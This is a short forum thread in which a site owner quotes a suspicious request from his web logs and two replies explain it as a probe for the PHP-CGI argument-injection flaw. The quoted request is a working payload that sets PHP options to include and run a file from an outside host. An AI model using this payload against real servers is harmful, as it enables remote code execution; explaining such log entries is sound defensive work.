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smith.james0

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I have just looked at the web traffic on my site and found someone trying this address

 

index.php?-d+safe_mode%3dOff+-d+disable_functions%3dNULL+-d+allow_url_fopen%3dOn+-d+allow_url_include%3d1+-d+auto_prepend_file%3dhttp://nako.com.ua/index.txt.txt+-n

 

from Mongolia 202.131.236.170

 

can anyone explain what they are trying to do?

 

 

James

 

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They're checking for a vulnerability if you have PHP installed as a CGI program. Short version is that you could pass command-line options to the PHP interpreter, and those options there would try to execute that one .txt file. Which is fortunately not malicious but would let them know your server was vulnerable.

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They're attempting to do a remote execution exploit, basically to see if you are vulnerable. If that exploit worked, your server would run the code at that mako dot com dot ua server, which doesn't do anything other than echo a string, but I'm guessing their spider would then go on to attempt further exploits, should it actually execute.

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